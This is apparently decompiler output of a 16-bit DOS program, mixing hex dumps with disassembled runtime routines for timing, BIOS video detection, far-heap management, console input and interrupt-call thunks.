0800:17F0 01 00 E8 C9 00 FF 46 FE A0 04 9B B4 00 3B 46 FE ......F......;F.
0800:1800 7D 0E A0 02 9B B4 00 89 46 FE A1 00 9B 01 46 FC }.......F.....F.
0800:1810 A0 05 9B B4 00 3B 46 FC 7D 1C B0 06 50 A0 02 9B .....;F.}...P...
0800:1820 50 A0 03 9B 50 A0 04 9B 50 A0 05 9B 50 B0 01 50 P...P...P...P..P
0800:1830 E8 1C 0E FF 4E FC 8B C6 4E 0B C0 74 03 E9 1A FF ....N...N..t....
0800:1840 8A 56 FE 8A 76 FC B4 02 B7 00 E8 71 00 8A 46 FB .V..v......q..F.
0800:1850 B4 00 5E 8B E5 5D C2 0A 00 79 17 82 17 A0 17 9B ..^..]...y......
0800:1860 17 A0 17 A0 17 91 17 .......
;; fn0800_1867: 0800:1867
;; Called from:
;; 268D:06E6 (in fn268D_06AA)
fn0800_1867 proc
push bp
mov bp,sp
mov ax,1735h
push ax
xor ax,ax
xor dx,dx
push ax
push dx
push word ptr [bp+8h]
push word ptr [bp+6h]
lea ax,[bp+0Ah]
push ax
call 1153h
pop bp
retf
0800:1883 55 8B EC EB 18 C4 5E 04 FF 46 04 26 8A U.....^..F.&.
0800:1890 07 C4 5E 08 FF 46 08 26 3A 07 74 04 33 C0 EB 0C ..^..F.&:.t.3...
0800:18A0 C4 5E 04 26 80 3F 00 75 DF B8 01 00 5D C2 08 00 .^.&.?.u....]...
0800:18B0 B4 12 B3 10 E8 07 00 8A C3 04 F0 B4 00 C3 55 1E ..............U.
0800:18C0 51 B9 40 00 8E D9 59 80 FC 00 74 09 80 FC 0F 74 Q.@...Y...t....t
0800:18D0 59 CD 10 EB 71 3C 02 74 04 3C 03 75 19 50 B8 00 Y...q<.t.<.u.P..
0800:18E0 1A CD 10 3C 1A 74 05 80 26 87 00 FE B4 01 B9 07 ...<.t..&.......
0800:18F0 06 CD 10 58 EB DB 3C 40 75 D7 B3 10 B4 12 CD 10 ...X..<@u.......
0800:1900 80 FB 10 74 41 B8 12 11 32 DB CD 10 B8 00 12 B3 ...tA...2.......
0800:1910 20 CD 10 B8 00 1A CD 10 3C 1A 74 2A 80 0E 87 00 .......<.t*....
0800:1920 01 B4 01 B9 00 06 CD 10 EB 1C CD 10 3C 02 74 04 ............<.t.
0800:1930 3C 03 75 12 50 E8 78 FF 0A C0 58 74 09 80 3E 84 <.u.P.x...Xt..>.
0800:1940 00 18 74 02 B0 40 1F 5D C3 B4 0F E8 70 FF 50 E8 ..t..@.]....p.P.
0800:1950 14 00 59 B4 08 B7 00 E8 64 FF 80 E4 7F 88 26 07 ..Y.....d.....&.
0800:1960 9B 88 26 06 9B C3 55 8B EC 8A 46 04 A2 08 9B B4 ..&...U...F.....
0800:1970 0F E8 4A FF 88 26 0A 9B 3A 06 08 9B 74 14 A0 08 ..J..&..:...t...
0800:1980 9B B4 00 E8 38 FF B4 0F E8 33 FF A2 08 9B 88 26 ....8....3.....&
0800:1990 0A 9B 80 3E 08 9B 03 76 13 80 3E 08 9B 40 73 0C ...>...v..>..@s.
0800:19A0 80 3E 08 9B 07 74 05 B8 01 00 EB 02 33 C0 A2 0B .>...t......3...
0800:19B0 9B 80 3E 08 9B 40 74 04 B0 19 EB 0B B8 40 00 8E ..>..@t......@..
0800:19C0 C0 26 A0 84 00 FE C0 A2 09 9B 80 3E 08 9B 07 74 .&.........>...t
0800:19D0 20 B8 00 F0 BA EA FF 50 52 1E B8 13 9B 50 E8 A2 ......PR....P..
0800:19E0 FE 0B C0 75 0C E8 C8 FE 0B C0 75 05 B8 01 00 EB ...u......u.....
0800:19F0 02 33 C0 A2 0C 9B 80 3E 08 9B 07 75 05 B8 00 B0 .3.....>...u....
0800:1A00 EB 03 B8 00 B8 A3 0F 9B C7 06 0D 9B 00 00 B0 00 ................
0800:1A10 A2 03 9B A2 02 9B A0 0A 9B 04 FF A2 04 9B A0 09 ................
0800:1A20 9B 04 FF A2 05 9B 5D C3 BA 1A 9B EB 03 BA 1F 9B ......].........
0800:1A30 B9 05 00 B4 40 BB 02 00 CD 21 B9 27 00 BA 24 9B ....@....!.'..$.
0800:1A40 B4 40 CD 21 E9 33 E8 .@.!.3.
;; fn0800_1A47: 0800:1A47
;; Called from:
;; 0800:1A4E (in fn0800_1A48)
;; 0800:1A55 (in fn0800_1A48)
fn0800_1A47 proc
ret
;; fn0800_1A48: 0800:1A48
;; Called from:
;; 0800:1A8A (in fn0800_1A83)
;; 0800:1ACC (in fn0800_1A83)
fn0800_1A48 proc
pushf
cli
mov al,0h
out 43h,al
call 1A47h
in al,40h
mov bl,al
call 1A47h
in al,40h
mov bh,al
not bx
popf
mov ax,bx
ret
0800:1A62 56 33 F6 E8 E0 FF A9 01 00 75 0E C7 06 4E V3.......u...N
0800:1A70 9B 00 00 C7 06 4C 9B A9 04 EB 06 46 83 FE 64 7C .....L.....F..d|
0800:1A80 E4 5E CB .^.
;; fn0800_1A83: 0800:1A83
;; Called from:
;; 209F:0141 (in fn209F_00DD)
;; 268D:0129 (in main)
;; 268D:0207 (in main)
;; 268D:0611 (in fn268D_05FB)
fn0800_1A83 proc
push bp
mov bp,sp
sub sp,4h
push si
call 1A48h
mov si,ax
xor dx,dx
mov bx,[bp+6h]
xor cx,cx
push ax
push dx
mov dx,[9B4Eh]
mov ax,[9B4Ch]
call 07F6h
pop bx
pop cx
add cx,ax
adc bx,dx
mov [bp-2h],bx
mov [bp-4h],cx
jmp 1ACCh
l0800_1AB0:
cmp bx,si
jnc 1ACAh
l0800_1AB4:
cmp word ptr [bp-2h],1h
ja 1AC2h
l0800_1ABA:
jc 1ADFh
l0800_1ABC:
cmp word ptr [bp-4h],0h
jc 1ADFh
l0800_1AC2:
sub word ptr [bp-4h],0h
sbb word ptr [bp-2h],1h
l0800_1ACA:
mov si,bx
l0800_1ACC:
call 1A48h
mov bx,ax
xor dx,dx
cmp dx,[bp-2h]
jc 1AB0h
l0800_1AD8:
jnz 1ADFh
l0800_1ADA:
cmp ax,[bp-4h]
jc 1AB0h
l0800_1ADF:
pop si
mov sp,bp
pop bp
retf
0800:1AE4 00 00 00 00 00 00 00 00 00 00 00 00 ............
;; fn0800_1AF0: 0800:1AF0
;; Called from:
;; 0800:1C3C (in fn0800_1C24)
fn0800_1AF0 proc
cmp dx,cs:[1AE4h]
jz 1B2Eh
l0800_1AF7:
mov ds,dx
mov ds,[0002h]
cmp word ptr [0002h],0h
jz 1B0Bh
l0800_1B04:
mov cs:[1AE6h],ds
jmp 1B43h
l0800_1B0B:
mov ax,ds
cmp ax,cs:[1AE4h]
jz 1B29h
l0800_1B14:
mov ax,[0008h]
mov cs:[1AE6h],ax
push ds
xor ax,ax
push ax
call 1BC4h
mov ds,cs:[1AEAh]
jmp 1B4Ch
l0800_1B29:
mov dx,cs:[1AE4h]
l0800_1B2E:
mov word ptr cs:[1AE4h],0h
mov word ptr cs:[1AE6h],0h
mov word ptr cs:[1AE8h],0h
l0800_1B43:
mov ds,cs:[1AEAh]
push dx
xor ax,ax
push ax
l0800_1B4C:
call 1F8Ch
add sp,4h
ret
;; fn0800_1B53: 0800:1B53
;; Called from:
;; 0800:1C41 (in fn0800_1C24)
fn0800_1B53 proc
mov ds,dx
push ds
mov es,[0002h]
mov word ptr [0002h],0h
mov [0008h],es
cmp dx,cs:[1AE4h]
jz 1B99h
l0800_1B6B:
cmp word ptr es:[0002h],0h
jnz 1B99h
l0800_1B73:
mov ax,[0000h]
pop bx
push es
add es:[0000h],ax
mov cx,es
add dx,ax
mov es,dx
cmp word ptr es:[0002h],0h
jnz 1B92h
l0800_1B8B:
mov es:[0008h],cx
jmp 1B9Ch
l0800_1B92:
mov es:[0002h],cx
jmp 1B9Ch
l0800_1B99:
call 1BEDh
l0800_1B9C:
pop es
mov ax,es
add ax,es:[0000h]
mov ds,ax
cmp word ptr [0002h],0h
jz 1BAEh
l0800_1BAD:
ret
l0800_1BAE:
mov ax,[0000h]
add es:[0000h],ax
mov ax,es
mov bx,ds
add bx,[0000h]
mov es,bx
mov es:[0002h],ax
;; fn0800_1BC4: 0800:1BC4
;; Called from:
;; 0800:1B1F (in fn0800_1AF0)
;; 0800:1BC0 (in fn0800_1B53)
;; 0800:1D9E (in fn0800_1D41)
fn0800_1BC4 proc
mov bx,ds
cmp bx,[0006h]
jz 1BE5h
l0800_1BCC:
mov es,[0006h]
mov ds,[0004h]
mov [0006h],es
mov es:[0004h],ds
mov cs:[1AE8h],ds
mov ds,bx
ret
l0800_1BE5:
mov word ptr cs:[1AE8h],0h
ret
;; fn0800_1BED: 0800:1BED
;; Called from:
;; 0800:1B99 (in fn0800_1B53)
fn0800_1BED proc
mov ax,cs:[1AE8h]
or ax,ax
jz 1C16h
l0800_1BF5:
mov bx,ss
pushf
cli
mov ss,ax
mov es,ss:[0006h]
mov ss:[0006h],ds
mov [0004h],ss
mov ss,bx
popf
mov es:[0004h],ds
mov [0006h],es
ret
l0800_1C16:
mov cs:[1AE8h],ds
mov [0004h],ds
mov [0006h],ds
ret
;; fn0800_1C24: 0800:1C24
;; Called from:
;; 0800:031C (in fn0800_0312)
;; 0800:2BA4 (in fn0800_2B50)
;; 0800:3D0F (in fn0800_3C8A)
;; 0CE0:08E2 (in fn0CE0_05FB)
;; 0CE0:1247 (in fn0CE0_08FC)
;; 0CE0:125A (in fn0CE0_08FC)
;; 0CE0:126D (in fn0CE0_08FC)
;; 0CE0:127A (in fn0CE0_08FC)
;; 0CE0:12DC (in fn0CE0_08FC)
;; 1744:09CF (in fn1744_0972)
;; 1744:0A89 (in fn1744_0A6F)
;; 1744:0A95 (in fn1744_0A6F)
;; 1F0F:10C8 (in fn1F0F_0BF7)
;; 209F:0252 (in fn209F_0149)
;; 209F:0449 (in fn209F_02E3)
;; 226D:0434 (in fn226D_00F9)
;; 2476:03D3 (in fn2476_0362)
;; 268D:0541 (in fn268D_03E2)
fn0800_1C24 proc
push bp
mov bp,sp
push si
push di
mov cs:[1AEAh],ds
mov dx,[bp+8h]
or dx,dx
jz 1C44h
l0800_1C35:
cmp dx,cs:[1AE6h]
jnz 1C41h
l0800_1C3C:
call 1AF0h
jmp 1C44h
l0800_1C41:
call 1B53h
l0800_1C44:
mov ds,cs:[1AEAh]
pop di
pop si
pop bp
retf
;; fn0800_1C4D: 0800:1C4D
;; Called from:
;; 0800:1D8D (in fn0800_1D41)
fn0800_1C4D proc
push ax
mov ds,cs:[1AEAh]
xor ax,ax
push ax
push ax
call 1FCBh
add sp,4h
and ax,0Fh
jz 1C76h
l0800_1C62:
mov dx,10h
sub dx,ax
xor ax,ax
mov ds,cs:[1AEAh]
push ax
push dx
call 1FCBh
add sp,4h
l0800_1C76:
pop ax
push ax
xor bx,bx
mov bl,ah
mov cl,4h
shr bx,cl
shl ax,cl
mov ds,cs:[1AEAh]
push bx
push ax
call 1FCBh
add sp,4h
pop bx
cmp ax,0FFFFh
jz 1CADh
l0800_1C95:
mov cs:[1AE4h],dx
mov cs:[1AE6h],dx
mov ds,dx
mov [0000h],bx
mov [0002h],dx
mov ax,4h
ret
l0800_1CAD:
xor ax,ax
cwd
ret
;; fn0800_1CB1: 0800:1CB1
;; Called from:
;; 0800:1D88 (in fn0800_1D41)
fn0800_1CB1 proc
push ax
xor bx,bx
mov bl,ah
mov cl,4h
shr bx,cl
shl ax,cl
mov ds,cs:[1AEAh]
push bx
push ax
call 1FCBh
add sp,4h
pop bx
cmp ax,0FFFFh
jz 1D07h
l0800_1CCF:
and ax,0Fh
jnz 1CECh
l0800_1CD4:
mov cx,cs:[1AE6h]
mov cs:[1AE6h],dx
mov ds,dx
mov [0000h],bx
mov [0002h],cx
mov ax,4h
ret
l0800_1CEC:
push bx
push dx
neg ax
add ax,10h
xor bx,bx
push bx
push ax
call 1FCBh
add sp,4h
pop dx
pop bx
cmp ax,0FFFFh
jz 1D07h
l0800_1D04:
inc dx
jmp 1CD4h
l0800_1D07:
xor ax,ax
cwd
ret
;; fn0800_1D0B: 0800:1D0B
;; Called from:
;; 0800:1D92 (in fn0800_1D41)
fn0800_1D0B proc
mov bx,dx
sub [0000h],ax
add dx,[0000h]
mov ds,dx
mov [0000h],ax
mov [0002h],bx
mov bx,dx
add bx,[0000h]
mov ds,bx
mov [0002h],dx
mov ax,4h
ret
;; fn0800_1D2E: 0800:1D2E
;; Called from:
;; 0800:07D3 (in fn0800_07B4)
;; 0800:3D5B (in fn0800_3C8A)
;; 209F:0150 (in fn209F_0149)
fn0800_1D2E proc
push bp
mov bp,sp
xor dx,dx
mov ax,[bp+6h]
jmp 1D41h
;; fn0800_1D38: 0800:1D38
;; Called from:
;; 0CE0:0616 (in fn0CE0_05FB)
;; 0CE0:0976 (in fn0CE0_08FC)
;; 1744:0979 (in fn1744_0972)
;; 1744:09B0 (in fn1744_0972)
;; 209F:01AC (in fn209F_0149)
;; 209F:0312 (in fn209F_02E3)
;; 209F:037A (in fn209F_02E3)
;; 226D:0339 (in fn226D_00F9)
;; 2476:0294 (in fn2476_0282)
;; 263F:0106 (in fn263F_00A6)
;; 263F:0383 (in fn263F_033E)
fn0800_1D38 proc
push bp
mov bp,sp
mov dx,[bp+8h]
mov ax,[bp+6h]
;; fn0800_1D41: 0800:1D41
;; Called from:
;; 0800:1D36 (in fn0800_1D2E)
;; 0800:1D3E (in fn0800_1D38)
fn0800_1D41 proc
mov cx,ax
or cx,dx
push si
push di
mov cs:[1AEAh],ds
jz 1DACh
l0800_1D4E:
add ax,13h
adc dx,0h
jc 1D97h
l0800_1D56:
test dx,0FFF0h
jnz 1D97h
l0800_1D5C:
mov cl,4h
shr ax,cl
shl dx,cl
or ah,dl
mov dx,cs:[1AE4h]
or dx,dx
jz 1D8Dh
l0800_1D6D:
mov dx,cs:[1AE8h]
or dx,dx
jz 1D88h
l0800_1D76:
mov bx,dx
l0800_1D78:
mov ds,dx
cmp [0000h],ax
jnc 1D9Ch
l0800_1D80:
mov dx,[0006h]
cmp dx,bx
jnz 1D78h
l0800_1D88:
call 1CB1h
jmp 1DACh
l0800_1D8D:
call 1C4Dh
jmp 1DACh
l0800_1D92:
call 1D0Bh
jmp 1DACh
l0800_1D97:
xor ax,ax
cwd
jmp 1DACh
l0800_1D9C:
ja 1D92h
l0800_1D9E:
call 1BC4h
mov bx,[0008h]
mov [0002h],bx
mov ax,4h
l0800_1DAC:
mov ds,cs:[1AEAh]
pop di
pop si
pop bp
retf
0800:1DB5 53 2E 8B 36 EC 1A 56 2E 8B 36 EE S..6..V..6.
0800:1DC0 1A 56 0E E8 72 FF 83 C4 04 0B D2 75 02 5B C3 1F .V..r......u.[..
0800:1DD0 8E C2 06 1E 53 8B 16 00 00 FC 4A BF 04 00 8B F7 ....S.....J.....
0800:1DE0 B9 06 00 F3 A5 0B D2 74 37 8C C0 40 8E C0 8C D8 .......t7..@....
0800:1DF0 40 8E D8 33 FF 8B F7 8B CA 81 F9 00 10 76 03 B9 @..3.........v..
0800:1E00 00 10 D1 E1 D1 E1 D1 E1 F3 A5 81 EA 00 10 76 10 ..............v.
0800:1E10 8C C0 05 00 10 8E C0 8C D8 05 00 10 8E D8 EB D3 ................
0800:1E20 2E 8E 1E EA 1A 0E E8 FB FD 83 C4 04 5A B8 04 00 ............Z...
0800:1E30 C3 2E 3B 1E E6 1A 74 45 8B FB 03 F8 8E C7 8B F1 ..;...tE........
0800:1E40 2B F0 26 89 36 00 00 26 89 1E 02 00 06 50 8E C3 +.&.6..&.....P..
0800:1E50 26 A3 00 00 8B D3 03 D1 8E C2 26 83 3E 02 00 00 &.........&.>...
0800:1E60 74 07 26 89 3E 02 00 EB 05 26 89 3E 08 00 8B F3 t.&.>....&.>....
0800:1E70 0E E8 B0 FD 83 C4 04 8B D6 B8 04 00 C3 53 8E C3 .............S..
0800:1E80 26 A3 00 00 03 D8 53 33 C0 50 E8 FF 00 83 C4 04 &.....S3.P......
0800:1E90 5A B8 04 00 C3 55 8B EC 33 D2 EB 06 55 8B EC 8B Z....U..3...U...
0800:1EA0 56 0C 8B 46 0A 8B 5E 08 56 57 2E 8C 1E EA 1A 2E V..F..^.VW......
0800:1EB0 89 16 EC 1A 2E A3 EE 1A 0B DB 74 3A 8B C8 0B CA ..........t:....
0800:1EC0 74 3F 05 13 00 83 D2 00 72 40 F7 C2 F0 FF 75 3A t?......r@....u:
0800:1ED0 B1 04 D3 E8 D3 E2 0A E2 8E C3 26 8B 0E 00 00 3B ..........&....;
0800:1EE0 C8 72 0E 77 07 8B D3 B8 04 00 EB 21 E8 42 FF EB .r.w.......!.B..
0800:1EF0 1C E8 C1 FE EB 17 52 50 0E E8 3C FE 83 C4 04 EB ......RP..<.....
0800:1F00 0C 53 50 0E E8 1D FD 83 C4 04 33 C0 99 2E 8E 1E .SP.......3.....
0800:1F10 EA 1A 5F 5E 5D CB .._^].
;; fn0800_1F16: 0800:1F16
;; Called from:
;; 0800:1FBB (in fn0800_1F8C)
;; 0800:2045 (in fn0800_1FCB)
fn0800_1F16 proc
push bp
mov bp,sp
push si
mov si,[bp+6h]
inc si
sub si,[007Bh]
add si,3Fh
mov cl,6h
shr si,cl
cmp si,[9B50h]
jnz 1F41h
l0800_1F2F:
mov ax,[bp+6h]
mov dx,[bp+4h]
mov [008Dh],ax
mov [008Bh],dx
mov ax,1h
jmp 1F87h
l0800_1F41:
mov cl,6h
shl si,cl
mov dx,[0091h]
mov ax,si
add ax,[007Bh]
cmp ax,dx
jbe 1F59h
l0800_1F53:
mov si,dx
sub si,[007Bh]
l0800_1F59:
push si
push word ptr [007Bh]
nop
push cs
call 28E6h
pop cx
pop cx
mov dx,ax
cmp dx,0FFh
jnz 1F77h
l0800_1F6C:
mov ax,si
mov cl,6h
shr ax,cl
mov [9B50h],ax
jmp 1F2Fh
l0800_1F77:
mov ax,[007Bh]
add ax,dx
mov [0091h],ax
mov word ptr [008Fh],0h
xor ax,ax
l0800_1F87:
pop si
pop bp
ret 4h
;; fn0800_1F8C: 0800:1F8C
;; Called from:
;; 0800:1B4C (in fn0800_1AF0)
fn0800_1F8C proc
push bp
mov bp,sp
mov cx,[0089h]
mov bx,[0087h]
mov dx,[bp+6h]
mov ax,[bp+4h]
call 080Dh
jc 1FC2h
l0800_1FA2:
mov cx,[0091h]
mov bx,[008Fh]
mov dx,[bp+6h]
mov ax,[bp+4h]
call 080Dh
ja 1FC2h
l0800_1FB5:
push word ptr [bp+6h]
push word ptr [bp+4h]
call 1F16h
or ax,ax
jnz 1FC7h
l0800_1FC2:
mov ax,0FFFFh
jmp 1FC9h
l0800_1FC7:
xor ax,ax
l0800_1FC9:
pop bp
ret
;; fn0800_1FCB: 0800:1FCB
;; Called from:
;; 0800:1C57 (in fn0800_1C4D)
;; 0800:1C70 (in fn0800_1C4D)
;; 0800:1C89 (in fn0800_1C4D)
;; 0800:1CC3 (in fn0800_1CB1)
;; 0800:1CF7 (in fn0800_1CB1)
fn0800_1FCB proc
push bp
mov bp,sp
sub sp,8h
mov ax,[008Dh]
xor dx,dx
mov cl,4h
call 0504h
add ax,[008Bh]
adc dx,0h
add ax,[bp+4h]
adc dx,[bp+6h]
cmp dx,0Fh
jl 1FFCh
l0800_1FED:
jg 1FF4h
l0800_1FEF:
cmp ax,0FFFFh
jbe 1FFCh
l0800_1FF4:
mov dx,0FFFFh
mov ax,0FFFFh
jmp 2052h
l0800_1FFC:
mov dx,[008Dh]
mov ax,[008Bh]
mov cx,[bp+6h]
mov bx,[bp+4h]
call 0525h
mov [bp-2h],dx
mov [bp-4h],ax
mov cx,[0089h]
mov bx,[0087h]
call 080Dh
jc 1FF4h
l0800_201F:
mov cx,[0091h]
mov bx,[008Fh]
mov dx,[bp-2h]
mov ax,[bp-4h]
call 080Dh
ja 1FF4h
l0800_2032:
mov ax,[008Dh]
mov dx,[008Bh]
mov [bp-6h],ax
mov [bp-8h],dx
push word ptr [bp-2h]
push word ptr [bp-4h]
call 1F16h
or ax,ax
jz 1FF4h
l0800_204C:
mov dx,[bp-6h]
mov ax,[bp-8h]
l0800_2052:
mov sp,bp
pop bp
ret
;; fn0800_2056: 0800:2056
;; Called from:
;; 2331:0196 (in fn2331_0167)
;; 2425:0213 (in fn2425_01E8)
;; 263F:0488 (in fn263F_043F)
;; 268D:00FD (in main)
fn0800_2056 proc
push bp
mov bp,sp
sub sp,4h
mov word ptr [bp-2h],0h
mov word ptr [bp-4h],0h
mov dx,[0091h]
mov ax,[008Fh]
mov cx,[008Dh]
mov bx,[008Bh]
call 0585h
mov [bp-2h],dx
mov [bp-4h],ax
cmp word ptr [bp-2h],0h
jc 2094h
l0800_2084:
ja 208Ch
l0800_2086:
cmp word ptr [bp-4h],10h
jbe 2094h
l0800_208C:
sub word ptr [bp-4h],10h
sbb word ptr [bp-2h],0h
l0800_2094:
and word ptr [bp-4h],0F0h
and word ptr [bp-2h],0FFh
mov dx,[bp-2h]
mov ax,[bp-4h]
mov sp,bp
pop bp
retf
;; fn0800_20A6: 0800:20A6
;; Called from:
;; 0CE0:08C3 (in fn0CE0_05FB)
;; 1D10:0487 (in fn1D10_02AE)
;; 209F:0079 (in fn209F_0002)
;; 2331:01C0 (in fn2331_0167)
;; 263F:0430 (in fn263F_03F3)
;; 263F:04A7 (in fn263F_043F)
;; 268D:012F (in main)
;; 268D:03A3 (in fn268D_034A)
;; 268D:03CE (in fn268D_034A)
;; 268D:04DA (in fn268D_03E2)
fn0800_20A6 proc
cmp byte ptr [9B52h],0h
jz 20B7h
l0800_20AD:
mov byte ptr [9B52h],0h
mov al,[9B53h]
jmp 20BCh
l0800_20B7:
mov ax,700h
int 21h
l0800_20BC:
mov ah,0h
retf
0800:20BF 58 X
0800:20C0 0E 50 56 80 3E 52 9B 00 74 08 0E E8 D8 FF 8B F0 .PV.>R..t.......
0800:20D0 EB 0D 0E E8 D0 FF 8B F0 50 90 0E E8 61 03 59 8B ........P...a.Y.
0800:20E0 C6 5E CB 58 0E 50 55 8B EC 80 3E 52 9B 00 74 05 .^.X.PU...>R..t.
0800:20F0 B8 FF FF EB 0D C6 06 52 9B 01 8A 46 06 A2 53 9B .......R...F..S.
0800:2100 B4 00 5D CB 55 8B EC 83 EC 02 8A 4E 08 80 C1 FF ..].U......N....
0800:2110 02 0E 03 9B 8A 46 06 04 FF 88 46 FF A0 02 9B 00 .....F....F.....
0800:2120 46 FF 3A 0E 03 9B 72 21 3A 0E 05 9B 77 1B 8A 46 F.:...r!:...w..F
0800:2130 FF 3A 06 02 9B 72 12 3A 06 04 9B 77 0C 8A 56 FF .:...r.:...w..V.
0800:2140 8A F1 B4 02 B7 00 E8 75 F7 8B E5 5D CB 55 8B EC .......u...].U..
0800:2150 83 EC 02 56 57 8B 7E 06 8B 76 08 57 56 FF 76 0A ...VW.~..v.WV.v.
0800:2160 FF 76 0C E8 72 04 0B C0 75 04 33 C0 EB 2F 8B 46 .v..r...u.3../.F
0800:2170 0A 2B C7 40 89 46 FE EB 1C FF 76 10 FF 76 0E 57 .+.@.F....v..v.W
0800:2180 56 E8 92 F4 52 50 FF 76 FE E8 10 04 8B 46 FE D1 V...RP.v.....F..
0800:2190 E0 01 46 0E 46 3B 76 0C 7E DF B8 01 00 5F 5E 8B ..F.F;v.~...._^.
0800:21A0 E5 5D CB 55 8B EC 83 EC 02 56 57 8B 7E 06 8B 76 .].U.....VW.~..v
0800:21B0 08 57 56 FF 76 0A FF 76 0C E8 1C 04 0B C0 75 04 .WV.v..v......u.
0800:21C0 33 C0 EB 2F 8B 46 0A 2B C7 40 89 46 FE EB 1C 57 3../.F.+.@.F...W
0800:21D0 56 E8 42 F4 52 50 FF 76 10 FF 76 0E FF 76 FE E8 V.B.RP.v..v..v..
0800:21E0 BA 03 8B 46 FE D1 E0 01 46 0E 46 3B 76 0C 7E DF ...F....F.F;v.~.
0800:21F0 B8 01 00 5F 5E 8B E5 5D CB ..._^..].
;; fn0800_21F9: 0800:21F9
;; Called from:
;; 2425:0298 (in fn2425_0286)
;; 2476:0122 (in fn2476_0104)
;; 2476:03FD (in fn2476_03E6)
;; 268D:037D (in fn268D_034A)
;; 268D:0578 (in fn268D_03E2)
fn0800_21F9 proc
push bp
mov bp,sp
sub sp,8h
push ss
lea ax,[bp-8h]
push ax
nop
push cs
call 0F6Dh
pop cx
pop cx
push ss
lea ax,[bp-8h]
push ax
push word ptr [bp+0Eh]
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
push cs
call 222Ah
add sp,0Eh
mov sp,bp
pop bp
retf
;; fn0800_222A: 0800:222A
;; Called from:
;; 0800:221F (in fn0800_21F9)
fn0800_222A proc
push bp
mov bp,sp
sub sp,0Eh
push si
push di
push ds
lea cx,[bp-0Eh]
mov [bp-4h],cx
mov [bp-2h],ss
mov byte ptr [bp-0Eh],55h
mov byte ptr [bp-0Dh],0CDh
mov ax,[bp+6h]
mov [bp-0Ch],al
mov word ptr [bp-0Bh],0CB5Dh
cmp al,25h
jc 2268h
l0800_2253:
cmp al,26h
ja 2268h
l0800_2257:
mov byte ptr [bp-0Bh],36h
mov word ptr [bp-0Ah],68Fh
mov [bp-8h],cx
mov word ptr [bp-6h],0CB5Dh
l0800_2268:
lds si,[bp+10h]
push word ptr [si]
push word ptr [si+6h]
lds si,[bp+8h]
mov ax,[si]
mov bx,[si+2h]
mov cx,[si+4h]
mov dx,[si+6h]
mov di,[si+0Ah]
mov si,[si+8h]
pop ds
pop es
call dword ptr [bp-4h]
pushf
pushf
push si
push ds
push es
lds si,[bp+10h]
pop word ptr [si]
pop word ptr [si+6h]
lds si,[bp+0Ch]
pop word ptr [si+8h]
pop word ptr [si+0Eh]
pop word ptr [si+0Ch]
and word ptr [si+0Ch],1h
mov [si+0Ah],di
mov [si+6h],dx
mov [si+4h],cx
mov [si+2h],bx
mov [si],ax
pop ds
jz 22BDh
l0800_22B7:
push ax
push ax
call 05ADh
pop ax
l0800_22BD:
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_22C3: 0800:22C3
;; Called from:
;; 2425:0029 (in fn2425_000A)
;; 2425:0047 (in fn2425_000A)
;; 2425:0065 (in fn2425_000A)
fn0800_22C3 proc
push bp
mov bp,sp
sub sp,12h
push si
push di
push bp
push ds
pushf
lea cx,[bp-12h]
mov [bp-4h],cx
mov [bp-2h],ss
mov word ptr [bp-12h],6E8Bh
mov byte ptr [bp-10h],0DEh
mov byte ptr [bp-0Fh],0CDh
mov ax,[bp+6h]
mov [bp-0Eh],al
cmp al,25h
jc 230Ah
l0800_22EE:
cmp al,26h
ja 230Ah
l0800_22F2:
mov byte ptr [bp-0Dh],36h
mov word ptr [bp-0Ch],68Fh
mov [bp-0Ah],cx
mov byte ptr [bp-8h],0CAh
mov word ptr [bp-7h],2h
jmp 2313h
;; fn0800_2309: 0800:2309
;; Called from:
;; 0800:235B (in fn0800_22C3)
fn0800_2309 proc
iret
l0800_230A:
mov byte ptr [bp-0Dh],0CAh
mov word ptr [bp-0Ch],2h
l0800_2313:
lds di,[bp+8h]
push ds
push di
mov ax,[di]
mov bx,[di+2h]
mov cx,[di+4h]
mov dx,[di+6h]
push word ptr [di+8h]
mov si,[di+0Ah]
mov es,[di+10h]
lds di,[di+0Ch]
call dword ptr [bp-4h]
push ds
push di
push bp
pushf
mov bp,sp
lds di,[bp+8h]
mov [di],ax
mov [di+2h],bx
mov [di+4h],cx
mov [di+6h],dx
mov [di+0Ah],si
mov [di+10h],es
pop word ptr [di+12h]
pop word ptr [di+8h]
pop word ptr [di+0Ch]
pop word ptr [di+0Eh]
add sp,4h
push cs
call 2309h
pop ds
pop bp
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_2367: 0800:2367
;; Called from:
;; 0800:36E8 (in fn0800_3615)
;; 0800:3710 (in fn0800_3615)
fn0800_2367 proc
push bp
mov bp,sp
push ds
lds dx,[bp+0Ah]
mov ah,44h
mov al,[bp+8h]
mov bx,[bp+6h]
mov cx,[bp+0Eh]
int 21h
pop ds
jc 238Ah
l0800_237E:
cmp word ptr [bp+8h],0h
jnz 2388h
l0800_2384:
mov ax,dx
jmp 238Eh
l0800_2388:
jmp 238Eh
l0800_238A:
push ax
call 05ADh
l0800_238E:
pop bp
retf
;; fn0800_2390: 0800:2390
;; Called from:
;; 0CE0:08BA (in fn0CE0_05FB)
;; 1D10:047E (in fn1D10_02AE)
;; 2331:01B7 (in fn2331_0167)
;; 268D:04D1 (in fn268D_03E2)
fn0800_2390 proc
cmp byte ptr [9B52h],0h
jz 239Ch
l0800_2397:
mov ax,1h
jmp 23A1h
l0800_239C:
mov ah,0Bh
int 21h
cbw
l0800_23A1:
retf
0800:23A2 55 8B EC 83 EC 04 56 57 8B 76 08 8B 7E 0C U.....VW.v..~.
0800:23B0 FF 76 06 56 FF 76 0A 57 E8 1D 02 0B C0 74 23 FF .v.V.v.W.....t#.
0800:23C0 76 0E FF 76 10 8B 46 0A 2B 46 06 8B 56 0E 03 D0 v..v..F.+F..V...
0800:23D0 52 8B C7 2B C6 8B 56 10 03 D0 52 E8 FA 01 0B C0 R..+..V...R.....
0800:23E0 75 04 33 C0 EB 53 8B D6 89 7E FE C7 46 FC 01 00 u.3..S...~..F...
0800:23F0 3B 76 10 7D 0A 8B D7 89 76 FE C7 46 FC FF FF 8B ;v.}....v..F....
0800:2400 FA EB 29 FF 76 0E 8B C7 2B C6 8B 56 10 03 D0 52 ..).v...+..V...R
0800:2410 E8 03 F2 52 50 FF 76 06 57 E8 FA F1 52 50 8B 46 ...RP.v.W...RP.F
0800:2420 0A 2B 46 06 40 50 E8 73 01 03 7E FC 8B 46 FE 03 .+F.@P.s..~..F..
